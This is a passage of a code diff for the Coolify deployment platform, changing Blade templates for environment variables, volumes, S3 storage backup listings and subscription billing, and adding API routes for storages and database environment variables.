label="Available at Runtime" />
|
||||
@if (!$isMagicVariable)
|
||||
<x-forms.checkbox instantSave id="is_multiline" label="Is Multiline?" />
|
||||
<x-forms.checkbox instantSave id="is_literal"
|
||||
|
|
@ -86,12 +81,6 @@
|
|||
<div class="flex flex-wrap w-full items-center gap-4">
|
||||
@if (!$is_redis_credential)
|
||||
@if ($type === 'service')
|
||||
<x-forms.checkbox disabled id="is_buildtime"
|
||||
helper="Make this variable available during Docker build process. Useful for build secrets and dependencies."
|
||||
label="Available at Buildtime" />
|
||||
<x-forms.checkbox disabled id="is_runtime"
|
||||
helper="Make this variable available in the running container at runtime."
|
||||
label="Available at Runtime" />
|
||||
@if (!$isMagicVariable)
|
||||
<x-forms.checkbox disabled id="is_multiline" label="Is Multiline?" />
|
||||
<x-forms.checkbox disabled id="is_literal"
|
||||
|
|
@ -145,10 +134,9 @@
|
|||
<x-forms.input disabled type="password" id="real_value" />
|
||||
@endif
|
||||
</div>
|
||||
@if (!$isMagicVariable)
|
||||
<x-forms.input disabled id="comment" label="Comment"
|
||||
helper="Add a note to document what this environment variable is used for." maxlength="256" />
|
||||
@endif
|
||||
<x-forms.input instantSave id="comment" label="Comment"
|
||||
placeholder="{{ $isMagicVariable ? 'This env cannot be edited manually, it is handled by Coolify.' : '' }}"
|
||||
helper="Add a note to document what this environment variable is used for." maxlength="256" />
|
||||
</div>
|
||||
@else
|
||||
<div class="flex flex-col w-full gap-2">
|
||||
|
|
@ -178,10 +166,9 @@
|
|||
<x-forms.input disabled type="password" id="real_value" />
|
||||
@endif
|
||||
</div>
|
||||
@if (!$isMagicVariable)
|
||||
<x-forms.input disabled id="comment" label="Comment"
|
||||
helper="Add a note to document what this environment variable is used for." maxlength="256" />
|
||||
@endif
|
||||
<x-forms.input disabled id="comment" label="Comment"
|
||||
placeholder="{{ $isMagicVariable ? 'This env cannot be edited manually, it is handled by Coolify.' : '' }}"
|
||||
helper="Add a note to document what this environment variable is used for." maxlength="256" />
|
||||
</div>
|
||||
@endcan
|
||||
@can('update', $this->env)
|
||||
|
|
@ -189,12 +176,6 @@
|
|||
<div class="flex flex-wrap w-full items-center gap-4">
|
||||
@if (!$is_redis_credential)
|
||||
@if ($type === 'service')
|
||||
<x-forms.checkbox instantSave id="is_buildtime"
|
||||
helper="Make this variable available during Docker build process. Useful for build secrets and dependencies."
|
||||
label="Available at Buildtime" />
|
||||
<x-forms.checkbox instantSave id="is_runtime"
|
||||
helper="Make this variable available in the running container at runtime."
|
||||
label="Available at Runtime" />
|
||||
@if (!$isMagicVariable)
|
||||
<x-forms.checkbox instantSave id="is_multiline" label="Is Multiline?" />
|
||||
<x-forms.checkbox instantSave id="is_literal"
|
||||
|
|
@ -258,6 +239,10 @@
|
|||
step2ButtonText="Permanently Delete" />
|
||||
@endif
|
||||
</div>
|
||||
@elseif ($type === 'service')
|
||||
<div class="flex w-full justify-end gap-2">
|
||||
<x-forms.button wire:click='lock'>Lock</x-forms.button>
|
||||
</div>
|
||||
@endif
|
||||
</div>
|
||||
@else
|
||||
|
|
@ -265,12 +250,6 @@
|
|||
<div class="flex flex-wrap w-full items-center gap-4">
|
||||
@if (!$is_redis_credential)
|
||||
@if ($type === 'service')
|
||||
<x-forms.checkbox disabled id="is_buildtime"
|
||||
helper="Make this variable available during Docker build process. Useful for build secrets and dependencies."
|
||||
label="Available at Buildtime" />
|
||||
<x-forms.checkbox disabled id="is_runtime"
|
||||
helper="Make this variable available in the running container at runtime."
|
||||
label="Available at Runtime" />
|
||||
@if (!$isMagicVariable)
|
||||
<x-forms.checkbox disabled id="is_multiline" label="Is Multiline?" />
|
||||
<x-forms.checkbox disabled id="is_literal"
|
||||
|
|
|
|||
|
|
@ -38,6 +38,15 @@
|
|||
<x-forms.input id="mountPath" required readonly />
|
||||
</div>
|
||||
@endif
|
||||
@if (!$isService)
|
||||
@can('update', $resource)
|
||||
<div class="w-96">
|
||||
<x-forms.checkbox instantSave canGate="update" :canResource="$resource" label="Add suffix for PR deployments"
|
||||
id="isPreviewSuffixEnabled"
|
||||
helper="When enabled, a -pr-N suffix is added to this volume's name for preview deployments (e.g. myvolume becomes myvolume-pr-1). Disable this for volumes that should be shared between the main and preview deployments."></x-forms.checkbox>
|
||||
</div>
|
||||
@endcan
|
||||
@endif
|
||||
@else
|
||||
@can('update', $resource)
|
||||
@if ($isFirst)
|
||||
|
|
@ -54,6 +63,13 @@
|
|||
<x-forms.input id="mountPath" required />
|
||||
</div>
|
||||
@endif
|
||||
@if (!$isService)
|
||||
<div class="w-96">
|
||||
<x-forms.checkbox instantSave canGate="update" :canResource="$resource" label="Add suffix for PR deployments"
|
||||
id="isPreviewSuffixEnabled"
|
||||
helper="When enabled, a -pr-N suffix is added to this volume's name for preview deployments (e.g. myvolume becomes myvolume-pr-1). Disable this for volumes that should be shared between the main and preview deployments."></x-forms.checkbox>
|
||||
</div>
|
||||
@endif
|
||||
<div class="flex gap-2">
|
||||
<x-forms.button type="submit">
|
||||
Update
|
||||
|
|
|
|||
|
|
@ -27,7 +27,7 @@
|
|||
<div class="mt-1 mb-6">Configure Docker cleanup settings for your server.</div>
|
||||
</div>
|
||||
|
||||
@if ($this->isCleanupStale)
|
||||
@if (!isCloud() && $this->isCleanupStale)
|
||||
<div class="mb-4">
|
||||
<x-callout type="warning" title="Docker Cleanup May Be Stalled">
|
||||
<p>The last Docker cleanup ran {{ $this->lastExecutionTime ?? 'unknown time' }} ago,
|
||||
|
|
|
|||
|
|
@ -1,36 +1,5 @@
|
|||
<div>
|
||||
<form class="flex flex-col gap-2 pb-6" wire:submit='submit'>
|
||||
<div class="flex items-start gap-2">
|
||||
<div class="">
|
||||
<h1>Storage Details</h1>
|
||||
<div class="subtitle">{{ $storage->name }}</div>
|
||||
<div class="flex items-center gap-2 pb-4">
|
||||
<div>Current Status:</div>
|
||||
@if ($isUsable)
|
||||
<span
|
||||
class="px-2 py-1 text-xs font-semibold text-green-800 bg-green-100 rounded dark:text-green-100 dark:bg-green-800">
|
||||
Usable
|
||||
</span>
|
||||
@else
|
||||
<span
|
||||
class="px-2 py-1 text-xs font-semibold text-red-800 bg-red-100 rounded dark:text-red-100 dark:bg-red-800">
|
||||
Not Usable
|
||||
</span>
|
||||
@endif
|
||||
</div>
|
||||
</div>
|
||||
<x-forms.button canGate="update" :canResource="$storage" type="submit">Save</x-forms.button>
|
||||
|
||||
@can('delete', $storage)
|
||||
<x-modal-confirmation title="Confirm Storage Deletion?" isErrorButton buttonTitle="Delete"
|
||||
submitAction="delete({{ $storage->id }})" :actions="[
|
||||
'The selected storage location will be permanently deleted from Coolify.',
|
||||
'If the storage location is in use by any backup jobs those backup jobs will only store the backup locally on the server.',
|
||||
]" confirmationText="{{ $storage->name }}"
|
||||
confirmationLabel="Please confirm the execution of the actions by entering the Storage Name below"
|
||||
shortConfirmationLabel="Storage Name" :confirmWithPassword="false" step2ButtonText="Permanently Delete" />
|
||||
@endcan
|
||||
</div>
|
||||
<div class="flex gap-2">
|
||||
<x-forms.input canGate="update" :canResource="$storage" label="Name" id="name" />
|
||||
<x-forms.input canGate="update" :canResource="$storage" label="Description" id="description" />
|
||||
|
|
|
|||
107
resources/views/livewire/storage/resources.blade.php
Normal file
107
resources/views/livewire/storage/resources.blade.php
Normal file
|
|
@ -0,0 +1,107 @@
|
|||
<div x-data="{ search: '' }">
|
||||
<x-forms.input placeholder="Search resources..." x-model="search" id="null" />
|
||||
@if ($groupedBackups->count() > 0)
|
||||
<div class="overflow-x-auto pt-4">
|
||||
<div class="inline-block min-w-full">
|
||||
<div class="overflow-hidden">
|
||||
<table class="min-w-full">
|
||||
<thead>
|
||||
<tr>
|
||||
<th class="px-5 py-3 text-xs font-medium text-left uppercase">Database</th>
|
||||
<th class="px-5 py-3 text-xs font-medium text-left uppercase">Frequency</th>
|
||||
<th class="px-5 py-3 text-xs font-medium text-left uppercase">Status</th>
|
||||
<th class="px-5 py-3 text-xs font-medium text-left uppercase">S3 Storage</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
@foreach ($groupedBackups as $backups)
|
||||
@php
|
||||
$firstBackup = $backups->first();
|
||||
$database = $firstBackup->database;
|
||||
$databaseName = $database?->name ?? 'Deleted database';
|
||||
$resourceLink = null;
|
||||
$backupParams = null;
|
||||
if ($database && $database instanceof \App\Models\ServiceDatabase) {
|
||||
$service = $database->service;
|
||||
if ($service) {
|
||||
$environment = $service->environment;
|
||||
$project = $environment?->project;
|
||||
if ($project && $environment) {
|
||||
$resourceLink = route('project.service.configuration', [
|
||||
'project_uuid' => $project->uuid,
|
||||
'environment_uuid' => $environment->uuid,
|
||||
'service_uuid' => $service->uuid,
|
||||
]);
|
||||
}
|
||||
}
|
||||
} elseif ($database) {
|
||||
$environment = $database->environment;
|
||||
$project = $environment?->project;
|
||||
if ($project && $environment) {
|
||||
$resourceLink = route('project.database.backup.index', [
|
||||
'project_uuid' => $project->uuid,
|
||||
'environment_uuid' => $environment->uuid,
|
||||
'database_uuid' => $database->uuid,
|
||||
]);
|
||||
$backupParams = [
|
||||
'project_uuid' => $project->uuid,
|
||||
'environment_uuid' => $environment->uuid,
|
||||
'database_uuid' => $database->uuid,
|
||||
];
|
||||
}
|
||||
}
|
||||
@endphp
|
||||
@foreach ($backups as $backup)
|
||||
<tr class="dark:hover:bg-coolgray-300 hover:bg-neutral-100" x-show="search === '' || '{{ strtolower(addslashes($databaseName)) }}'.includes(search.toLowerCase()) || '{{ strtolower(addslashes($backup->frequency)) }}'.includes(search.toLowerCase())">
|
||||
<td class="px-5 py-4 text-sm whitespace-nowrap">
|
||||
@if ($resourceLink)
|
||||
<a class="hover:underline" {{ wireNavigate() }} href="{{ $resourceLink }}">{{ $databaseName }} <x-internal-link /></a>
|
||||
@else
|
||||
{{ $databaseName }}
|
||||
@endif
|
||||
</td>
|
||||
<td class="px-5 py-4 text-sm whitespace-nowrap">
|
||||
@php
|
||||
$backupLink = null;
|
||||
if ($backupParams) {
|
||||
$backupLink = route('project.database.backup.execution', array_merge($backupParams, [
|
||||
'backup_uuid' => $backup->uuid,
|
||||
]));
|
||||
}
|
||||
@endphp
|
||||
@if ($backupLink)
|
||||
<a class="hover:underline" {{ wireNavigate() }} href="{{ $backupLink }}">{{ $backup->frequency }} <x-internal-link /></a>
|
||||
@else
|
||||
{{ $backup->frequency }}
|
||||
@endif
|
||||
</td>
|
||||
<td class="px-5 py-4 text-sm font-medium whitespace-nowrap">
|
||||
@if ($backup->enabled)
|
||||
<span class="text-green-500">Enabled</span>
|
||||
@else
|
||||
<span class="text-yellow-500">Disabled</span>
|
||||
@endif
|
||||
</td>
|
||||
<td class="px-5 py-4 text-sm whitespace-nowrap">
|
||||
<div class="flex items-center gap-2">
|
||||
<select wire:model="selectedStorages.{{ $backup->id }}" class="w-full input">
|
||||
@foreach ($allStorages as $s3)
|
||||
<option value="{{ $s3->id }}" @disabled(!$s3->is_usable)>{{ $s3->name }}@if (!$s3->is_usable) (unusable)@endif</option>
|
||||
@endforeach
|
||||
</select>
|
||||
<x-forms.button wire:click="moveBackup({{ $backup->id }})">Save</x-forms.button>
|
||||
<x-forms.button isError wire:click="disableS3({{ $backup->id }})" wire:confirm="Are you sure you want to disable S3 for this backup schedule?">Disable S3</x-forms.button>
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
@endforeach
|
||||
@endforeach
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@else
|
||||
<div class="pt-4">No backup schedules are using this storage.</div>
|
||||
@endif
|
||||
</div>
|
||||
|
|
@ -2,5 +2,51 @@
|
|||
<x-slot:title>
|
||||
{{ data_get_str($storage, 'name')->limit(10) }} >Storages | Coolify
|
||||
</x-slot>
|
||||
<livewire:storage.form :storage="$storage" />
|
||||
|
||||
<div class="flex items-center gap-2">
|
||||
<h1>Storage Details</h1>
|
||||
@if ($storage->is_usable)
|
||||
<span class="px-2 py-1 text-xs font-semibold text-green-800 bg-green-100 rounded dark:text-green-100 dark:bg-green-800">
|
||||
Usable
|
||||
</span>
|
||||
@else
|
||||
<span class="px-2 py-1 text-xs font-semibold text-red-800 bg-red-100 rounded dark:text-red-100 dark:bg-red-800">
|
||||
Not Usable
|
||||
</span>
|
||||
@endif
|
||||
<x-forms.button canGate="update" :canResource="$storage" wire:click="$dispatch('submitStorage')" :disabled="$currentRoute !== 'storage.show'">Save</x-forms.button>
|
||||
@can('delete', $storage)
|
||||
<x-modal-confirmation title="Confirm Storage Deletion?" isErrorButton buttonTitle="Delete"
|
||||
submitAction="delete({{ $storage->id }})" :actions="array_filter([
|
||||
'The selected storage location will be permanently deleted from Coolify.',
|
||||
$backupCount > 0
|
||||
? $backupCount . ' backup schedule(s) will be updated to no longer save to S3 and will only store backups locally on the server.'
|
||||
: null,
|
||||
])" confirmationText="{{ $storage->name }}"
|
||||
confirmationLabel="Please confirm the execution of the actions by entering the Storage Name below"
|
||||
shortConfirmationLabel="Storage Name" :confirmWithPassword="false" step2ButtonText="Permanently Delete" />
|
||||
@endcan
|
||||
</div>
|
||||
<div class="subtitle">{{ $storage->name }}</div>
|
||||
|
||||
<div class="navbar-main">
|
||||
<nav class="flex shrink-0 gap-6 items-center whitespace-nowrap scrollbar min-h-10">
|
||||
<a class="{{ request()->routeIs('storage.show') ? 'dark:text-white' : '' }}" {{ wireNavigate() }}
|
||||
href="{{ route('storage.show', ['storage_uuid' => $storage->uuid]) }}">
|
||||
General
|
||||
</a>
|
||||
<a class="{{ request()->routeIs('storage.resources') ? 'dark:text-white' : '' }}" {{ wireNavigate() }}
|
||||
href="{{ route('storage.resources', ['storage_uuid' => $storage->uuid]) }}">
|
||||
Resources
|
||||
</a>
|
||||
</nav>
|
||||
</div>
|
||||
|
||||
<div class="pt-4">
|
||||
@if ($currentRoute === 'storage.show')
|
||||
<livewire:storage.form :storage="$storage" />
|
||||
@elseif ($currentRoute === 'storage.resources')
|
||||
<livewire:storage.resources :storage="$storage" :key="'resources-'.uniqid()" />
|
||||
@endif
|
||||
</div>
|
||||
</div>
|
||||
|
|
|
|||
|
|
@ -35,44 +35,44 @@
|
|||
}" @success.window="preview = null; showModal = false; qty = $wire.server_limits"
|
||||
@keydown.escape.window="if (showModal) { closeAdjust(); }" class="-mt-2">
|
||||
<h3 class="pb-2">Plan Overview</h3>
|
||||
<div class="grid grid-cols-1 gap-4 xl:grid-cols-3">
|
||||
{{-- Current Plan Card --}}
|
||||
<div class="p-5 rounded border dark:bg-coolgray-100 bg-white border-neutral-200 dark:border-coolgray-400">
|
||||
<div class="text-xs font-bold text-neutral-500 uppercase tracking-wide pb-1">Current Plan</div>
|
||||
<div class="text-xl font-bold dark:text-warning">
|
||||
<div class="space-y-2">
|
||||
<div class="text-sm">
|
||||
<span class="text-neutral-500">Plan:</span>
|
||||
<span class="dark:text-warning font-medium">
|
||||
@if (data_get(currentTeam(), 'subscription')->type() == 'dynamic')
|
||||
Pay-as-you-go
|
||||
@else
|
||||
{{ data_get(currentTeam(), 'subscription')->type() }}
|
||||
@endif
|
||||
</div>
|
||||
<div class="pt-2 text-sm">
|
||||
</span>
|
||||
<span class="text-neutral-500">· {{ $billingInterval === 'yearly' ? 'Yearly' : 'Monthly' }}</span>
|
||||
<span class="text-neutral-500">·</span>
|
||||
@if (currentTeam()->subscription->stripe_cancel_at_period_end)
|
||||
<span class="text-red-500 font-medium">Cancelling at end of period</span>
|
||||
@else
|
||||
<span class="text-green-500 font-medium">Active</span>
|
||||
@endif
|
||||
</div>
|
||||
<div class="text-sm flex items-center gap-2 flex-wrap">
|
||||
<span>
|
||||
<span class="text-neutral-500">Active servers:</span>
|
||||
<span class="font-medium {{ currentTeam()->serverOverflow() ? 'text-red-500' : 'dark:text-white' }}">{{ currentTeam()->servers->count() }}</span>
|
||||
<span class="text-neutral-500">/</span>
|
||||
<span class="font-medium dark:text-white" x-text="current"></span>
|
||||
<span class="text-neutral-500">paid</span>
|
||||
</span>
|
||||
<x-forms.button isHighlighted @click="openAdjust()">Adjust</x-forms.button>
|
||||
</div>
|
||||
<div class="text-sm text-neutral-500">
|
||||
@if ($refundCheckLoading)
|
||||
<x-loading text="Loading..." />
|
||||
@elseif ($nextBillingDate)
|
||||
@if (currentTeam()->subscription->stripe_cancel_at_period_end)
|
||||
<span class="text-red-500 font-medium">Cancelling at end of period</span>
|
||||
Cancels on <span class="dark:text-white font-medium">{{ $nextBillingDate }}</span>
|
||||
@else
|
||||
<span class="text-green-500 font-medium">Active</span>
|
||||
<span class="text-neutral-500"> · Invoice
|
||||
{{ currentTeam()->subscription->stripe_invoice_paid ? 'paid' : 'not paid' }}</span>
|
||||
Next billing <span class="dark:text-white font-medium">{{ $nextBillingDate }}</span>
|
||||
@endif
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{{-- Paid Servers Card --}}
|
||||
<div class="p-5 rounded border dark:bg-coolgray-100 bg-white border-neutral-200 dark:border-coolgray-400 cursor-pointer hover:border-warning/50 transition-colors"
|
||||
@click="openAdjust()">
|
||||
<div class="text-xs font-bold text-neutral-500 uppercase tracking-wide pb-1">Paid Servers</div>
|
||||
<div class="text-xl font-bold dark:text-white" x-text="current"></div>
|
||||
<div class="pt-2 text-sm text-neutral-500">Click to adjust</div>
|
||||
</div>
|
||||
|
||||
{{-- Active Servers Card --}}
|
||||
<div
|
||||
class="p-5 rounded border dark:bg-coolgray-100 bg-white border-neutral-200 dark:border-coolgray-400 {{ currentTeam()->serverOverflow() ? 'border-red-500 dark:border-red-500' : '' }}">
|
||||
<div class="text-xs font-bold text-neutral-500 uppercase tracking-wide pb-1">Active Servers</div>
|
||||
<div class="text-xl font-bold {{ currentTeam()->serverOverflow() ? 'text-red-500' : 'dark:text-white' }}">
|
||||
{{ currentTeam()->servers->count() }}
|
||||
</div>
|
||||
<div class="pt-2 text-sm text-neutral-500">Currently running</div>
|
||||
@endif
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
|
@ -99,9 +99,9 @@ class="fixed top-0 left-0 z-99 flex items-center justify-center w-screen h-scree
|
|||
x-transition:leave-end="opacity-0 -translate-y-2 sm:scale-95"
|
||||
class="relative w-full border rounded-sm min-w-full lg:min-w-[36rem] max-w-[48rem] max-h-[calc(100vh-2rem)] bg-neutral-100 border-neutral-400 dark:bg-base dark:border-coolgray-300 flex flex-col">
|
||||
<div class="flex justify-between items-center py-6 px-7 shrink-0">
|
||||
<h3 class="pr-8 text-2xl font-bold">Adjust Server Limit</h3>
|
||||
<h3 class="text-2xl font-bold">Adjust Server Limit</h3>
|
||||
<button @click="closeAdjust()"
|
||||
class="flex absolute top-2 right-2 justify-center items-center w-8 h-8 rounded-full dark:text-white hover:bg-coolgray-300">
|
||||
class="flex justify-center items-center w-8 h-8 rounded-full dark:text-white hover:bg-coolgray-300">
|
||||
<svg class="w-6 h-6" xmlns="http://www.w3.org/2000/svg" fill="none"
|
||||
viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
|
||||
|
|
@ -144,7 +144,12 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
|
|||
<p class="text-xs text-neutral-500 pt-1">Charged immediately to your payment method.</p>
|
||||
</div>
|
||||
<div>
|
||||
<div class="text-xs font-bold text-neutral-500 uppercase tracking-wide pb-1.5">Next billing cycle</div>
|
||||
<div class="text-xs font-bold text-neutral-500 uppercase tracking-wide pb-1.5">
|
||||
Next billing cycle
|
||||
@if ($nextBillingDate)
|
||||
<span class="normal-case font-normal">· {{ $nextBillingDate }}</span>
|
||||
@endif
|
||||
</div>
|
||||
<div class="space-y-1.5">
|
||||
<div class="flex justify-between gap-6 text-sm">
|
||||
<span class="text-neutral-500" x-text="preview?.quantity + ' servers × ' + fmt(preview?.unit_price)"></span>
|
||||
|
|
@ -155,7 +160,7 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
|
|||
<span class="dark:text-white" x-text="fmt(preview?.recurring_tax)"></span>
|
||||
</div>
|
||||
<div class="flex justify-between gap-6 text-sm font-bold pt-1.5 border-t dark:border-coolgray-400 border-neutral-200">
|
||||
<span class="dark:text-white">Total / month</span>
|
||||
<span class="dark:text-white">Total / {{ $billingInterval === 'yearly' ? 'year' : 'month' }}</span>
|
||||
<span class="dark:text-white" x-text="fmt(preview?.recurring_total)"></span>
|
||||
</div>
|
||||
</div>
|
||||
|
|
@ -175,7 +180,7 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
|
|||
warningMessage="This will update your subscription and charge the prorated amount to your payment method."
|
||||
step2ButtonText="Confirm & Pay">
|
||||
<x-slot:content>
|
||||
<x-forms.button @click="$wire.set('quantity', qty)">
|
||||
<x-forms.button class="w-full" @click="$wire.set('quantity', qty)">
|
||||
Update Server Limit
|
||||
</x-forms.button>
|
||||
</x-slot:content>
|
||||
|
|
@ -194,11 +199,10 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
|
|||
</template>
|
||||
</section>
|
||||
|
||||
{{-- Billing, Refund & Cancellation --}}
|
||||
{{-- Manage Subscription --}}
|
||||
<section>
|
||||
<h3 class="pb-2">Manage Subscription</h3>
|
||||
<div class="flex flex-wrap items-center gap-2">
|
||||
{{-- Billing --}}
|
||||
<x-forms.button class="gap-2" wire:click='stripeCustomerPortal'>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" class="w-4 h-4" fill="none" viewBox="0 0 24 24"
|
||||
stroke-width="1.5" stroke="currentColor">
|
||||
|
|
@ -207,8 +211,13 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
|
|||
</svg>
|
||||
Manage Billing on Stripe
|
||||
</x-forms.button>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
{{-- Resume or Cancel --}}
|
||||
{{-- Cancel Subscription --}}
|
||||
<section>
|
||||
<h3 class="pb-2">Cancel Subscription</h3>
|
||||
<div class="flex flex-wrap items-center gap-2">
|
||||
@if (currentTeam()->subscription->stripe_cancel_at_period_end)
|
||||
<x-forms.button wire:click="resumeSubscription">Resume Subscription</x-forms.button>
|
||||
@else
|
||||
|
|
@ -231,10 +240,18 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
|
|||
confirmationLabel="Enter your team name to confirm"
|
||||
shortConfirmationLabel="Team Name" step2ButtonText="Permanently Cancel" />
|
||||
@endif
|
||||
</div>
|
||||
@if (currentTeam()->subscription->stripe_cancel_at_period_end)
|
||||
<p class="mt-2 text-sm text-neutral-500">Your subscription is set to cancel at the end of the billing period.</p>
|
||||
@endif
|
||||
</section>
|
||||
|
||||
{{-- Refund --}}
|
||||
{{-- Refund --}}
|
||||
<section>
|
||||
<h3 class="pb-2">Refund</h3>
|
||||
<div class="flex flex-wrap items-center gap-2">
|
||||
@if ($refundCheckLoading)
|
||||
<x-loading text="Checking refund..." />
|
||||
<x-forms.button disabled>Request Full Refund</x-forms.button>
|
||||
@elseif ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end)
|
||||
<x-modal-confirmation title="Request Full Refund?" buttonTitle="Request Full Refund"
|
||||
isErrorButton submitAction="refundSubscription"
|
||||
|
|
@ -245,18 +262,21 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
|
|||
]" confirmationText="{{ currentTeam()->name }}"
|
||||
confirmationLabel="Enter your team name to confirm" shortConfirmationLabel="Team Name"
|
||||
step2ButtonText="Confirm Refund & Cancel" />
|
||||
@else
|
||||
<x-forms.button disabled>Request Full Refund</x-forms.button>
|
||||
@endif
|
||||
</div>
|
||||
|
||||
{{-- Contextual notes --}}
|
||||
@if ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end)
|
||||
<p class="mt-2 text-sm text-neutral-500">Eligible for a full refund — <strong class="dark:text-warning">{{ $refundDaysRemaining }}</strong> days remaining.</p>
|
||||
@elseif ($refundAlreadyUsed)
|
||||
<p class="mt-2 text-sm text-neutral-500">Refund already processed. Each team is eligible for one refund only.</p>
|
||||
@endif
|
||||
@if (currentTeam()->subscription->stripe_cancel_at_period_end)
|
||||
<p class="mt-2 text-sm text-neutral-500">Your subscription is set to cancel at the end of the billing period.</p>
|
||||
@endif
|
||||
<p class="mt-2 text-sm text-neutral-500">
|
||||
@if ($refundCheckLoading)
|
||||
Checking refund eligibility...
|
||||
@elseif ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end)
|
||||
Eligible for a full refund — <strong class="dark:text-warning">{{ $refundDaysRemaining }}</strong> days remaining.
|
||||
@elseif ($refundAlreadyUsed)
|
||||
Refund already processed. Each team is eligible for one refund only.
|
||||
@else
|
||||
Not eligible for a refund.
|
||||
@endif
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<div class="text-sm text-neutral-500">
|
||||
|
|
|
|||
|
|
@ -120,6 +120,10 @@
|
|||
Route::patch('/applications/{uuid}/envs', [ApplicationsController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']);
|
||||
Route::delete('/applications/{uuid}/envs/{env_uuid}', [ApplicationsController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']);
|
||||
Route::get('/applications/{uuid}/logs', [ApplicationsController::class, 'logs_by_uuid'])->middleware(['api.ability:read']);
|
||||
Route::get('/applications/{uuid}/storages', [ApplicationsController::class, 'storages'])->middleware(['api.ability:read']);
|
||||
Route::post('/applications/{uuid}/storages', [ApplicationsController::class, 'create_storage'])->middleware(['api.ability:write']);
|
||||
Route::patch('/applications/{uuid}/storages', [ApplicationsController::class, 'update_storage'])->middleware(['api.ability:write']);
|
||||
Route::delete('/applications/{uuid}/storages/{storage_uuid}', [ApplicationsController::class, 'delete_storage'])->middleware(['api.ability:write']);
|
||||
|
||||
Route::match(['get', 'post'], '/applications/{uuid}/start', [ApplicationsController::class, 'action_deploy'])->middleware(['api.ability:deploy']);
|
||||
Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:deploy']);
|
||||
|
|
@ -152,6 +156,17 @@
|
|||
Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}', [DatabasesController::class, 'delete_backup_by_uuid'])->middleware(['api.ability:write']);
|
||||
Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', [DatabasesController::class, 'delete_execution_by_uuid'])->middleware(['api.ability:write']);
|
||||
|
||||
Route::get('/databases/{uuid}/storages', [DatabasesController::class, 'storages'])->middleware(['api.ability:read']);
|
||||
Route::post('/databases/{uuid}/storages', [DatabasesController::class, 'create_storage'])->middleware(['api.ability:write']);
|
||||
Route::patch('/databases/{uuid}/storages', [DatabasesController::class, 'update_storage'])->middleware(['api.ability:write']);
|
||||
Route::delete('/databases/{uuid}/storages/{storage_uuid}', [DatabasesController::class, 'delete_storage'])->middleware(['api.ability:write']);
|
||||
|
||||
Route::get('/databases/{uuid}/envs', [DatabasesController::class, 'envs'])->middleware(['api.ability:read']);
|
||||
Route::post('/databases/{uuid}/envs', [DatabasesController::class, 'create_env'])->middleware(['api.ability:write']);
|
||||
Route::patch('/databases/{uuid}/envs/bulk', [DatabasesController::class, 'create_bulk_envs'])->middleware(['api.ability:write']);
|
||||
Route::patch('/databases/{uuid}/envs', [DatabasesController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']);
|
||||
Route::delete('/databases/{uuid}/envs/{env_uuid}', [DatabasesController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']);
|
||||
|
||||
Route::match(['get', 'post'], '/databases/{uuid}/start', [DatabasesController::class, 'action_deploy'])->middleware(['api.ability:deploy']);
|
||||
Route::match(['get', 'post'], '/databases/{uuid}/restart', [DatabasesController::class, 'action_restart'])->middleware(['api.ability:deploy']);
|
||||
Route::match(['get', 'post'], '/databases/{uuid}/stop', [DatabasesController::class, 'action_stop'])->middleware(['api.ability:deploy']);
|
||||
|
|
@ -163,6 +178,11 @@
|
|||
Route::patch('/services/{uuid}', [ServicesController::class, 'update_by_uuid'])->middleware(['api.ability:write']);
|
||||
Route::delete('/services/{uuid}', [ServicesController::class, 'delete_by_uuid'])->middleware(['api.ability:write']);
|
||||
|
||||
Route::get('/services/{uuid}/storages', [ServicesController::class, 'storages'])->middleware(['api.ability:read']);
|
||||
Route::post('/services/{uuid}/storages', [ServicesController::class, 'create_storage'])->middleware(['api.ability:write']);
|
||||
Route::patch('/services/{uuid}/storages', [ServicesController::class, 'update_storage'])->middleware(['api.ability:write']);
|
||||
Route::delete('/services/{uuid}/storages/{storage_uuid}', [ServicesController::class, 'delete_storage'])->middleware(['api.ability:write']);
|
||||
|
||||
Route::get('/services/{uuid}/envs', [ServicesController::class, 'envs'])->middleware(['api.ability:read']);
|
||||
Route::post('/services/{uuid}/envs', [ServicesController::class, 'create_env'])->middleware(['api.ability:write']);
|
||||
Route::patch('/services/{uuid}/envs/bulk', [ServicesController::class, 'create_bulk_envs'])->middleware(['api.ability:write']);
|
||||
|
|
|
|||
|
|
@ -140,6 +140,7 @@
|
|||
Route::prefix('storages')->group(function () {
|
||||
Route::get('/', StorageIndex::class)->name('storage.index');
|
||||
Route::get('/{storage_uuid}', StorageShow::class)->name('storage.show');
|
||||
Route::get('/{storage_uuid}/resources', StorageShow::class)->name('storage.resources');
|
||||
});
|
||||
Route::prefix('shared-variables')->group(function () {
|
||||
Route::get('/', SharedVariablesIndex::class)->name('shared-variables.index');
|
||||
|
|
|
|||
|
|
@ -20,7 +20,7 @@ DATE=$(date +"%Y%m%d-%H%M%S")
|
|||
|
||||
